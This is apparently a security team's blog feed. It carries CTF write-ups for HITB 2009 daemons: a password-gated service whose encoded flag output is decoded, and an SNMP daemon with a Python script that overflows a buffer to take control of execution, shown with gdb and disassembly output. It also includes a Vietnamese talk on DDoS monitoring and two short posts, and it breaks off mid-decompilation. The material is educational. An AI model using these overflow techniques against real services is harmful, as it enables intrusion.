VNSECURITY TEAM (Vietnam Internet Security Research Team) http://www.vnsecurity.net Know thy Enemy! Wed, 20 Jan 2010 19:53:04 +0000 http://wordpress.org/?v= en hourly 1 HITB Daemon1 Solution http://www.vnsecurity.net/2010/01/hitb-daemon1-solution/ http://www.vnsecurity.net/2010/01/hitb-daemon1-solution/#comments Tue, 19 Jan 2010 18:43:44 +0000 suto https://www.vnsecurity.net/?p=549

Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.

home suto # netstat -tulpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN   6174/daemon1

So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.

.text:080494F1                 push    eax
.text:080494F2                 call    _recv
.text:080494F7                 add     esp, 10h
.text:080494FA                 cmp     eax, 0
.text:080494FD                 jle     loc_80495D2
.text:08049503                 push    esi
.text:08049504                 push    eax
.text:08049505                 lea     esi, [ebp-538h]
.text:0804950B                 push    esi
.text:0804950C                 mov     ecx, [ebp-548h]
.text:08049512                 push    ecx
.text:08049513                 call    sub_804A2B0
.text:08049518                 mov     eax, offset aIcvykbmukcrwdp ; "iCvYkBMuKcrwDPkAqmCFgOKVeV34"
.text:0804951D                 mov     ecx, 1Ch
.text:08049522                 cld
.text:08049523                 mov     esi, [ebp-560h]
.text:08049529                 mov     edi, eax
.text:0804952B                 repe cmpsb
.text:0804952D                 setnbe  dl
.text:08049530                 setb    al
.text:08049533                 add     esp, 10h
.text:08049536                 cmp     dl, al
.text:08049538                 jnz     loc_80495FF
.text:0804953E                 call    sub_8048F10
.text:08049543                 push    0
.text:08049545                 sub     esp, 8
.text:08049548                 push    offset s
.text:0804954D                 call    _strlen
.text:08049552                 add     esp, 0Ch
.text:08049555                 push    eax
.text:08049556                 push    offset s
.text:0804955B
.text:0804955B loc_804955B:                            ; CODE XREF: .text:08049608j
.text:0804955B                 mov     edx, [ebp-548h]
.text:08049561                 push    edx
.text:08049562                 call    _send

And here is what sub_8048F10 does:

lea     edi, [ebp+var_40]
mov     esi, offset unk_80553D2
mov     ecx, edx
rep movsd
mov     ax, ds:word_80553EA
mov     [edi], ax
push    (offset aSocketError+0Bh) ; modes
push    offset filename ; "/home/d1/errorcode.txt"
call    _fopen
<snip>

The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.

home suto #nc localhost 4444

iCvYkBMuKcrwDPkAqmCFgOKVeV34

ddddddddddPfddddfdssqpfdddddddddhfh

“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).

After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.

Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh

Input: 2
Output: ddddddddddPfdddddfdssqpfhfh

Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh

Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh

==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.

9
ddddddddddPfdddddfdssqpfdddddddhfh

Next, we test with 2 numbers:

24
ddddddddddPfdddddfdssqpfhddhfh

3 numbers:

247
ddddddddddPfdddddfdssqpfhddhdddhfh

We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:

247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh

Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?

From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq

Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).

35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh

Why 3? You answer yourself !

Now we come back to special cases for number 1 and 0

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

The different parts are marked with Red color.

Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

35896742

ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.

Another test:

4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)

hd(5) hf(1)hs qq(3) hd(4) hffh

Now replace the number 1 with 0 from previous input:

ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)

hf(0)hsqq(3) hd(4)hffh

We see 0 is quite similar to 1 with one ‘d’ less.

Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.

And it’s all about daemon1 in HITB CTF 2009!

]]>
http://www.vnsecurity.net/2010/01/hitb-daemon1-solution/feed/ 1
New Blog. http://www.vnsecurity.net/2009/12/new-blog/ http://www.vnsecurity.net/2009/12/new-blog/#comments Sat, 19 Dec 2009 08:26:46 +0000 Xwings https://www.vnsecurity.net/2009/12/new-blog/

This will be my official blog.

More updates …. soon.

]]>
http://www.vnsecurity.net/2009/12/new-blog/feed/ 0
What may happen to your laptop when you come to Israel? http://www.vnsecurity.net/2009/12/what-may-happen-to-your-laptop-when-you-come-to-israel/ http://www.vnsecurity.net/2009/12/what-may-happen-to-your-laptop-when-you-come-to-israel/#comments Mon, 14 Dec 2009 19:51:32 +0000 RD https://www.vnsecurity.net/?p=529

Check out this I’m sorry but we had to blow up your laptop story. Israeli security officers shot through the girl’s laptop with three bullets because she was suspected due to some of ’suspicious’ pictures in her camera and an arabic phrasebook, a journal entry that mentioned a Palestinian, stamps from Syria, Qatar and the UAE, Palestinians in Palestine guidebook, and a map with a main street in Jerusalem, the central bus station and hostel. They didn’t shot through the hard disk though .. lol

When I was in Saudi, I have seen an European guy who stayed in the same hotel with my colleague got arrested by a group of police officers in front of me while he was taking picture of stray cats (nearby a govt. building). The guy later said that they searched through his camera and all of his stuffs, deleted all the pics and questioned him for the whole day. Quite scary.

]]>
http://www.vnsecurity.net/2009/12/what-may-happen-to-your-laptop-when-you-come-to-israel/feed/ 3
Giám sát an ninh mạng – hay là làm thế nào để ngăn chặn một cuộc tấn công DDoS trong 20′ http://www.vnsecurity.net/2009/12/how-to-mitigate-a-ddos-attack-in-20-minutes/ http://www.vnsecurity.net/2009/12/how-to-mitigate-a-ddos-attack-in-20-minutes/#comments Mon, 14 Dec 2009 08:33:17 +0000 thaidn https://www.vnsecurity.net/?p=514

(rút ra từ bài nói chuyện tại BarcampSaigon 2009)
Network Security Monitoring or How to mitigate a DDoS attack in 20′

View more presentations from thaidn.

Để bắt đầu thì tôi xin chia sẻ một câu chuyện. Cách đây không lâu, web site của một khách hàng bị tấn công từ chối dịch vụ DDoS. Vào lúc cao trào của vụ tấn công, có hơn 10.000 IP đến từ khắp nơi trên thế giới liên tục gửi hàng ngàn yêu cầu mỗi giây đến hệ thống của khách hàng này. Hình ảnh (slide số 4) mà quý vị đang thấy trên màn hình gồm có 2 phần nhỏ. Phần ở trên là lưu lượng dữ liệu ra vào hệ thống lúc bình thường, không bị tấn công. Phần ở dưới là lưu lượng dữ liệu ra vào hệ thống của ngay tại thời điểm đang bị tấn công dữ dội.

Như quý vị cũng thấy, chỉ trong vòng 10′, từ lúc 16h10 đến 16h20, lượng dữ liệu ra vào đã tăng đột biến lên gấp gần 10 lần lúc bình thường. Nhưng đồng thời, chỉ trong vòng chưa tới 20′, chúng tôi đã kiểm soát được vụ tấn công này, và đưa toàn bộ hệ thống trở lại tình trạng bình thường. Chúng tôi làm được như vậy tất cả là nhờ vào việc đã áp dụng tốt các công nghệ và nguyên tắc của giám sát an ninh mạng.

Nếu quý vị từng phải xử lý một vụ tấn công DDoS, tôi tin chắc có một câu hỏi mà quý vị đã phải tự hỏi nhiều lần: chuyện gì đang diễn ra vậy? Tại sao hệ thống của tôi đang chạy ngon lành tự dưng lại cứng đơ, khách hàng không sử dụng được nữa?

Bản thân tôi cho rằng đây là câu hỏi tối quan trọng mà bất kỳ ai làm việc trong lĩnh vực an ninh mạng đều phải tự hỏi và phải có câu trả lời xác đáng. Ngay tại thời điểm này đây, ngay khi quý vị đang ngồi ở đây nghe tôi trình bày, quý vị có biết ai đang làm gì ở đâu như thế nào trên hệ thống của quý vị hay không?

Tại sao câu hỏi đó quan trọng? Tại sao quý vị cần phải biết được ai đang làm gì ở đâu như thế nào trên hệ thống của quý vị? Đơn giản vì chúng ta không thể bảo vệ một hệ thống nếu chúng ta không biết được trạng thái của hệ thống đó. Và chúng ta chỉ có thể biết được trạng thái của một hệ thống bằng cách theo dõi nó thường xuyên. Nói cách khác, chúng ta phải biết được tất cả các hoạt động đã và đang diễn ra trên hệ thống.

Thử nhìn vào hoạt động của một khách sạn. Để đảm bảo an ninh, người ta phải đặt camera theo dõi ở khắp nơi. Các camera này chắc hẳn sẽ đưa hình ảnh về một địa điểm tập trung, nơi có các chuyên viên theo dõi 24/7 để kịp thời phát hiện và đối phó với các sự cố an ninh.

Tương tự như thế, muốn đảm bảo an ninh thông tin chúng ta cũng phải tiến hành theo dõi 24/7. Nhưng trong thực tế, theo quan sát của tôi, rất ít tổ chức ở VN có một hệ thống giám sát an ninh như thế. Để bảo vệ hệ thống mạng của mình, các doanh nghiệp và các tổ chức công thường triển khai các thiết bị như tường lửa, phần mềm chống và diệt virus, thiết bị phát hiện xâm nhập, thiết bị ngăn chặn xâm nhập. Rõ ràng họ nghĩ rằng, các thiết bị này đảm bảo an ninh mạng cho họ nên họ mới đầu từ nhiều tiền của để triển khai chúng.

Thật tế hầu hết những người giữ quyền quyết định đầu tư cho an toàn thông tin thường hay hành động theo thị trường. Ví dụ như cách đây vài năm, tường lửa là mốt. Ai cũng đầu tư làm hệ thống tường lửa nên chúng ta cũng phải làm tường lửa. Sau đó, các giải pháp phát hiện xâm nhập lên ngôi. Bây giờ cái gì đang là trào lưu quý vị biết không? ISO 27001.

Lãnh đạo doanh nghiệp thấy các các doanh nghiệp khác triển khai ISO 27001 nên họ cũng muốn doanh nghiệp của họ phải đạt được chuẩn này. Tôi không nói rằng tường lửa, thiết bị phát hiện xâm nhập hay đạt được các chuẩn như ISO 27001 và ITIL là không có tác dụng, nhưng câu hỏi chúng ta cần phải tự hỏi là: tại sao sau khi triển khai quá trời thứ đắt tiền và tốn thời gian như thế, chúng ta vẫn bị xâm nhập, chúng ta vẫn bị tấn công? Liệu ISO 27001 hay tường lửa có giúp bạn khắc phục được một vụ tấn công từ chối dịch vụ trong vòng 20′? Rồi khi đã bị xâm nhập, có thiết bị đắt tiền hay tiêu chuẩn nào giúp quý vị biết được hệ thống của quý vị bị xâm nhập khi nào, tại sao và như thế nào hay không?

Chỉ có con người mới có khả năng làm việc đó. Đây là điều tôi muốn nhấn mạnh, các thiết bị hay các tiêu chuẩn sẽ trở nên vô tác dụng nếu chúng ta không có con người thường xuyên theo dõi, giám sát hệ thống. Nghĩa là, chúng ta cần các chuyên gia giám sát hệ thống có chuyên môn cao.

Tại sao chúng ta cần phải có chuyên gia, tại sao tự bản thân các thiết bị hay các tiêu chuẩn không thể bảo vệ hệ thống mạng? Bởi vì những kẻ tấn công rất thông minh, không thể dự đoán và rất có thể có động lực cao nhất là khi thương mại điện tử phát triển như bây giờ. Máy móc và quy trình không thể ngăn chặn được họ, chắc chắn là như thế. Máy móc chắc chắn sẽ thua khi chiến đấu với não người. Đó là lý do chúng ta cần con người, cần những chuyên gia, để biến an ninh mạng thành một cuộc chiến cân sức hơn giữa người và người, thay vì giữa máy và người.

Câu hỏi đặt ra là các chuyên gia an ninh mạng cần gì để có thể phát hiện và xử lý các sự cố an ninh mạng cũng như xây dựng các kế hoạch phòng thủ? Câu trả lời chỉ có một: tất cả dữ liệu mà chúng ta có thể thu thập được trên hệ thống mạng trong khi sự cố xảy ra!

Quý vị còn nhớ ví dụ của tôi v/v làm sao để bảo vệ an ninh cho một khách sạn? Người quản lý cố gắng thu thập tất cả các dữ liệu, ở đây là hình ảnh và âm thanh, bằng các camera đặt khắp nơi trong khách sạn, và họ cần có các chuyên gia lành nghề để phân tích các hình ảnh này để kịp thời xử lý các sự cố. Họ có hệ thống chống và phát hiện cháy, họ có hệ thống chống trộm, nhưng những máy móc đó chỉ là công cụ, phần việc chính vẫn phải do con người, là các chuyên gia thực hiện.

Tóm lại, để đảm bảo an ninh, chúng ta cần phải theo dõi giám sát hệ thống mạng 24/7, và để làm chuyện đó chúng ta cần có các chuyên gia và các chuyên gia cần dữ liệu để thực hiện công việc của họ. Giám sát an ninh mạng chính là phương thức giúp chúng ta có thể thực hiện việc này một cách tối ưu nhất. Vậy giám sát an ninh mạng là gì?

Thuật ngữ giám sát an ninh mạng được chính thức định nghĩa vào năm 2002 và về cơ bản nó gồm 3 bước: thu thập dữ liệu, phân tích dữ liệu và leo thang thông tin.

Để thu thập dữ liệu, chúng ta sẽ sử dụng các phần mềm hay giải pháp có sẵn trên thị trường để thu thập dữ liệu ghi dấu hoạt động của các máy chủ, thiết bị mạng, phần mềm ứng dụng, cơ sở dữ liệu…Nguyên tắc của thu thập dữ liệu là thu thập càng nhiều càng tốt, với mục tiêu là chúng ta phải có đầy đủ thông tin về trạng thái, log file của tất cả các thành phần trong hệ thống cần phải bảo vệ. Bởi vì có muôn hình vạn trạng các loại tấn công và sự cố ATTT, chúng ta không thể biết trước dữ liệu nào là cần thiết để có thể phát hiện và ngăn chặn loại tấn công nào. Nên kinh nghiệm của tôi là nếu mà luật pháp và công nghệ cho phép, cứ thu thập hết tất cả dữ liệu mà quý vị có thể. Nguyên tắc “thà giết lầm còn hơn bỏ sót” có thể áp dụng ở đây.

Nếu phần mềm có thể giúp chúng ta làm công việc thu thập dữ liệu, thì để phân tích dữ liệu và ra quyết định, như đã nói ở trên, chúng ta cần có chuyên gia, bởi chỉ có chuyên gia mới có thể hiểu rõ ngữ cảnh của dữ liệu mà phần mềm đã thu thập được. Ngữ cảnh là tối quan trọng. Một dữ liệu được thu thập trong ngữ cảnh A có thể sẽ có ý nghĩa rất khác với cùng dữ liệu đó nếu nó thuộc về ngữ cảnh B. Ví dụ như một ngày đẹp trời hệ thống thu thập dữ liệu cảnh báo rằng một số file chương trình trên một máy chủ quan trọng đã bị thay đổi. Nếu như xét ngữ cảnh A là máy chủ đó đang được nâng cấp phần mềm, thì thông tin này không có nhiều ý nghĩa. Nhưng nếu như ở ngoài ngữ cảnh A đó, nói cách khác, không có một yêu cầu thay đổi phần mềm nào đang được áp dụng cho máy chủ đó cả, thì rõ ràng rất có thể máy chủ đó đã bị xâm nhập. Và chỉ có những chuyên gia mới có thể cung cấp được những ngữ cảnh như thế.

Quy trình giúp cho chúng ta leo thang thông tin. Leo thang thông tin là việc các chuyên gia báo cáo lên trên cho những người có quyền quyết định những vấn đề mà họ cho là quan trọng, cần phải điều tra thêm. Những người có quyền quyết định là những người có đủ thẩm quyền, trách nhiệm và năng lực để quyết định cách đối phó với các sự cố ANTT tiềm tàng. Không có leo thang thông tin, công việc của các chuyên gia sẽ trở thành vô ích. Tại sao phải phân tích để phát hiện các sự cố ANTT tiềm tàng nếu như chẳng có ai chịu trách nhiệm cho việc xử lý chúng?

Quay trở lại với câu chuyện vụ tấn công từ chối dịch vụ mà tôi chia sẻ ban đầu. Hệ thống giám sát an ninh mạng của chúng tôi thu thập tất cả dữ liệu liên quan đến hoạt động của các thiết bị như tường lửa, máy chủ proxy, máy chủ web, các ứng dụng web chạy trên các máy chủ web. Dựa vào nguồn dữ liệu phong phú này, các chuyên gia của chúng tôi đã không mất quá nhiều thời gian để phân tích và nhận ra các dấu hiệu bất thường trên hệ thống. Họ leo thang thông tin bằng cách thông báo cho tôi, và tôi quyết định kích hoạt quá trình đối phó với sự cố ANTT, ở đây là đối phó khi bị tấn công từ chối dịch vụ.

Về mặt kỹ thuật, chúng tôi đã cài đặt sẵn các biện pháp kiểm soát tự động trên hệ thống giám sát an ninh mạng, nên các chuyên gia của tôi chỉ phải theo dõi vụ tấn công xem có diễn tiến gì bất thường hay không mà không phải thực hiện thêm bất kỳ thao tác nào. Về mặt hành chính, tôi thông báo cho lãnh đạo doanh nghiệp và các đơn vị như Trung Tâm Chăm Sóc Khách hàng, Trung tâm Vận hành Data Center cũng như mở kênh liên lạc với các ISP để nhờ họ trợ giúp nếu như đường truyền bị quá tải. Như quý vị đã thấy trong một slide ở phía trước, chỉ chưa tới 20′, vừa ngay sau lần kích hoạt hệ thống phòng thủ đầu tiên, vụ tấn công đã được kiểm soát thành công. Hệ thống giám sát an ninh mạng cũng giúp chúng tôi làm các báo cáo để gửi lãnh đạo cũng như gửi các cơ quan điều tra nhờ hỗ trợ truy tìm thủ phạm.

Toàn bộ phương thức giám sát an ninh mạng chỉ đơn giản như thế. Đến đây là chúng ta xong phần 1 của bài trình bày này. Tiếp theo tôi sẽ chia sẻ một số thông tin về hệ thống cũng như công tác giám sát an ninh mạng.

Về mặt kỹ thuật, chúng tôi không mất quá nhiều thời gian cho việc thiết kế hệ thống và lựa chọn giải pháp, bởi vì ngay từ đầu chúng tôi đã xác định đây là một lĩnh vực tương đối mới mẻ, thành ra một giải pháp hoàn chỉnh sẽ không có trên thị trường. Thay vào đó, giống như phát triển phần mềm theo nguyên lý agile, chúng tôi làm vừa làm vừa điều chỉnh.

Chúng tôi khởi đầu bằng việc xây dựng một hệ thống log tập trung. Như đã nói ở trên, đây là công đoạn thu thập dữ liệu. Trong quá trình làm, chúng tôi nhận thấy hầu hết các ứng dụng chạy trên nền UNIX hay các thiết bị mạng đều hỗ trợ sẵn chuẩn syslog, thành ra chúng tôi quyết định chọn phần mềm mã nguồn mở syslog-ng làm công cụ chính để thu thập log.

Tuy nhiên có hai vấn đề: các máy chủ Windows mặc định không hỗ trợ syslog; và một số ứng dụng do chúng tôi tự phát triển hay mua ngoài cũng không hỗ trợ syslog. Đối với vấn đề thứ nhất, chúng tôi cài đặt thêm một phần mềm cho các máy chủ Windows, để đẩy các sự trên trên đó về hệ thống log của chúng tôi. Đối với vấn đề thứ hai, việc đầu tiên chúng tôi làm là xây dựng một quy định về log của các ứng dụng. Trong quy định này chúng tôi yêu cầu tất cả các ứng dụng muốn được cấp quyền chạy trên hệ thống của chúng tôi thì phải thỏa mãn các tiêu chí về log các sự kiện. Chúng tôi cũng hướng dẫn và cung cấp thư viện phần mềm mẫu để các lập trình viên có thể tích hợp vào phần mềm có sẵn của họ.

Syslog-ng là một phần mềm mã nguồn mở tuyệt vời. Nó hoạt động cực kỳ ổn định, bền vững. Trong suốt hơn 3 năm triển khai hệ thống này, chúng tôi chưa bao giờ gặp sự cố ở phần mềm này. Nhưng syslog-ng cũng chỉ làm tốt nhiệm vụ thu thập dữ liệu, làm sao phân tích dữ liệu đó? Trên thị trường lúc bấy giờ có khá nhiều công cụ giúp giải quyết vấn đề này. Chúng tôi lần lượt thử nghiệm các công cụ này, và rồi chúng tôi phát hiện ra Splunk. Chúng tôi hay gọi phần mềm này là “Splunk toàn năng”. Một công cụ phân tích dữ liệu trên cả tuyệt vời!

Splunk rất hay, nhưng nếu không có các chuyên gia có kỹ năng phân tích dữ liệu để khai thác Splunk thì hệ thống cũng sẽ không đem lại nhiều ích lợi. Cái hay của Splunk là ở chỗ nó đã làm cho công việc phân tích log tưởng như nhàm chán trở nên cực kỳ thú vị. Chỉ trong một thời gian ngắn, nhân viên của tôi đã bị Splunk mê hoặc. Cái tên “Splunk toàn năng” cũng là do anh ấy đặt cho Splunk. Thành ra chúng tôi cũng không mất quá nhiều thời gian để huấn luyện, bởi vì tự bản thân giải pháp nó đã đủ thú vị để cuốn hút con người chủ động tìm hiểu nó.

Điều tối quan trọng nhất đối với một hệ thống giám sát an ninh là khả năng phân tích một lượng dữ liệu lớn một cách nhanh chóng. Splunk làm rất tốt việc này. Tuy vậy trên thị trường vẫn có các giải pháp khác hoàn toàn miễn phí như tôi liệt kê ở trên. Bản thân tôi cho rằng Hadoop + Scribe + Hive là một hướng nghiên cứu nhiều tiềm năng.

Với hệ thống này, bây giờ chúng tôi có thể an tâm rằng tôi có thể biết được chuyện gì đang diễn ra trên hệ thống mạng của các khách hàng của chúng tôi ngay tại thời điểm tôi đang viết những dòng này.

Về phía lãnh đạo doanh nghiệp, họ cũng an tâm khi biết rằng, chúng tôi có thể phát hiện, truy vết và đối phó lại với bất kỳ sự cố ANTT nào diễn ra trên hệ thống của họ. Thực tế là từ khi triển khai giải pháp này, chúng tôi giải quyết được 100% các sự cố an toàn thông tin trên hệ thống của các khách hàng của chúng tôi.

Ngoài ra hệ thống này còn giúp chúng tôi phát hiện và xử lý hơn phân nửa các sự cố an toàn thông tin. Có rất nhiều tình huống, nếu không có sự hỗ trợ của hệ thống này, chúng tôi sẽ không thể giải quyết được vấn đề. Lại quay lại với câu chuyện bị tấn công DDoS ở trên.

Nhắc lại, một khách hàng của chúng tôi từng bị tấn công DDoS trên diện rộng vào hệ thống máy chủ Internet Banking. Ở thời điểm cao trào, có hơn 10000 IP gửi hàng ngàn request/s đến máy chủ của họ. Làm thế nào để nhanh chóng lấy ra được danh sách 10000 IP này, ngăn chặn chúng trên hệ thống firewall, mà không chặn nhầm khách hàng? Làm thế nào để có thể tự động hóa quá trình trên, chẳng hạn như cứ mỗi 15′ sẽ lấy ra danh sách các IP đang tấn công, cập nhật bộ lọc của tường lửa?

Với hệ thống này, chúng tôi chỉ cần soạn thảo một đoạn script ngắn để lấy ra danh sách IP đang gửi hơn 100 request/s rồi cài đặt chương trình để tự động cập nhật bộ lọc của firewall mỗi 15′. Một vấn đề tưởng như nan giải có thể giải quyết nhanh gọn lẹ và rất rẻ.

Các giải pháp chống DDoS sẽ có 2 thành phần chính: phát hiện và đánh chặn. Các giải pháp có sẵn trên thị trường như các thiết bị của các hãng lớn hay các giải pháp mở như Iptables + Snort inline thường cố gắng phân tích các packet/request để phân loại chúng theo thời gian thực. Nghĩa là khi có một packet/request đi vào, các giải pháp này sẽ cố gắng xác định xem packet đó có phải là một phần của vụ tấn công hay không, nếu phải thì thực hiện đánh chặn.

Sự khác biệt của giải pháp của chúng tôi so với các giải pháp chống DDoS đang có trên thị trường là chúng tôi không cố gắng phân loại và ngăn chặn các packet/request theo thời gian thực. Thay vào đó, chúng tôi tách phần phát hiện ra khỏi hệ thống phòng thủ, và thực hiện phần phát hiện hoàn toàn offline bằng cách sử dụng thông tin từ hệ thống NSM.

Cụ thể, thông tin từ hệ thống đánh chặn cũng như các nguồn khác như web server, proxy hay firewall sẽ được đưa vào hệ thống phân tích để chạy offline, rồi kết quả phân tích này sẽ được cập nhật ngược trở lại cho hệ thống đánh chặn. Với cách làm này, giải pháp của chúng tôi có thể đáp ứng được lượng tải rất lớn vì chúng tôi không phải tốn quá nhiều resource để phân tích on-the-fly một packet hay request như các giải pháp khác.

Về các hướng phát triển trong thời gian tới, tôi thấy một ứng dụng hay ho khác của hệ thống giám sát an ninh mạng là nó giúp chúng tôi có thể đo lường được mức độ an toàn của hệ thống. Có một nguyên tắc lâu đời của quản lý là: chúng ta không thể quản lý những gì chúng ta không thể đo đạc. Do đó để quản lý được an toàn thông tin, chúng ta phải biến an toàn thông tin thành những thông số có thể đo đạc và so sánh được. Đây là một hướng tiếp cận an toàn thông tin từ góc nhìn của người quản lý mà chúng tôi muốn áp dụng cho các khách hàng trong thời gian sắp tới.

Tài liệu tham khảo:

]]>
http://www.vnsecurity.net/2009/12/how-to-mitigate-a-ddos-attack-in-20-minutes/feed/ 0
HITB 2009 CTF Daemon6’s Solution http://www.vnsecurity.net/2009/12/hitb-2009-daemon6-write-up/ http://www.vnsecurity.net/2009/12/hitb-2009-daemon6-write-up/#comments Tue, 08 Dec 2009 04:59:15 +0000 suto https://www.vnsecurity.net/?p=422

This is the solution for daemon 06 of HITB 2009 CTF game. Note that I didn’t participate CLGT team at HITB 2009 CTF this year. I just played with the binaries after the conference to learn and practice myself.

For a short summary, daemon 06 is a SNMP Daemon listening on port 7272 with a basic buffer overflow bug in the SNMP packet handling function.

[snmpd v2.1] SNMP Daemon Started

Attempting to listen on port 7272..Ready

I started learning and reading some papers about SNMP protocol. Basically, SNMP packet follow basic encoding rules. The most fundamental rule states that each field is encoded in three parts: Type, Length, and Data.

  • Type specifies the data type of the field using a single byte identifier.
  • Length specifies the length in bytes of the following Data section
  • Data is the actual value communicated.

Next, I build a packet with a very large content and send to this daemon to check out for trivial overflow bug.

Type: 0×30 because it is a sequence of bytes
Length: 0xff ( to make largest packet as i can )
Data: I use a special string generate by Metasploit.

Here is script:

#!/usr/bin/python
from socket import *
import struct

host = "localhost"
port = 7272

shellcode="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A"

payload = "\x30\xff"+shellcode
sock = socket(AF_INET,SOCK_DGRAM)
sock.sendto(payload,(host,port))
sock.close()

After launching this script, I saw daemon6 got segfault.

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7e726c0 (LWP 23375)]

0x62413862 in ?? ()

(gdb)

So I change this string “b8Ab” in script to AAAA to re-check. And:

Program received signal SIGSEGV, Segmentation fault.

[Switching to Thread 0xb7e726c0 (LWP 23385)]

0x41414141 in ?? ()

Now I can control execution flow of program and now is the time to find out what caused of this vuln. Launch IDA and search for all occurences of Recv

recv

Follow recvfrom function

.text:0804D610                 call    _recvfrom
.text:0804D615                 add     esp, 20h
.text:0804D618                 test    eax, eax
.text:0804D61A                 js      recvfromerror
.text:0804D620
.text:0804D620 loc_804D620:                            ; CODE XREF: .text:0804D870j
.text:0804D620                 push    ecx
.text:0804D621                 push    0FCh
.text:0804D626                 push    0
.text:0804D628                 push    ebx
.text:0804D629                 call    _memset
.text:0804D62E                 pop     eax
.text:0804D62F                 pop     edx
.text:0804D630                 push    ebx
.text:0804D631                 lea     eax, [ebp-0CB0h]
.text:0804D637                 push    eax
.text:0804D638                 call    sub_804CC90

Now I use GDB to check if function at 0×0804cc90 is vulnerable.

(gdb) b *0x0804D637
Breakpoint 1 at 0x804d637
(gdb) r
Starting program: /home/d6/daemon6
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
(no debugging symbols found)
[snmpd v2.1] SNMP Daemon Started
Attempting to listen on port 7272..Ready
[New Thread 0xb7dd26c0 (LWP 13501)]
[New Thread 0xb7d63b90 (LWP 13504)]
[Switching to Thread 0xb7dd26c0 (LWP 13501)]

Breakpoint 1, 0x0804d637 in ?? ()
(gdb) x/4i $eip
0x804d637 <difftime@plt+17679>:	push   %eax
0x804d638 <difftime@plt+17680>:	call   0x804cc90 <difftime@plt+15208>
0x804d63d <difftime@plt+17685>:	add    $0x10,%esp
0x804d640 <difftime@plt+17688>:	mov    0x805c1b0,%eax
(gdb) b *0x804d63d
Breakpoint 2 at 0x804d63d
(gdb) c
Continuing.
incorrect request

Program received signal SIGSEGV, Segmentation fault.
0x62413862 in ?? ()

Check arguments of this function:

(gdb) x/2x $esp
0xbfb43980:    0xbfb43998    0xbfb44278
(gdb) x/x 0xbfb43998
0xbfb43998:    0x6141ff30
(gdb) x/s 0xbfb43998
0xbfb43998:     "0�Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5"...
(gdb)

yes, this is my packet payload!

Here is the source of this function using Hexrays:

void *__cdecl sub_804CC90(const char *a1, int a2)
{
  int v3; // ST0C_4@6
  int v4; // ST10_4@6
  int v5; // ST14_4@6
  char s; // [sp+1Eh] [bp-1FEh]@1
  int v7; // [sp+20Ch] [bp-10h]@1
  char v8; // [sp+1E8h] [bp-34h]@1
  int v9; // [sp+118h] [bp-104h]@1
  int v10; // [sp+208h] [bp-14h]@1
  char src; // [sp+198h] [bp-84h]@5

  memset(&s, 0, 0xFAu);
  if ( sscanf(a1, "%d %s %s %s %d", &v7, &v8, &s, &v9, &v10) != 5 )
  {
    puts("incorrect request");
    return (void *)-1;
  }
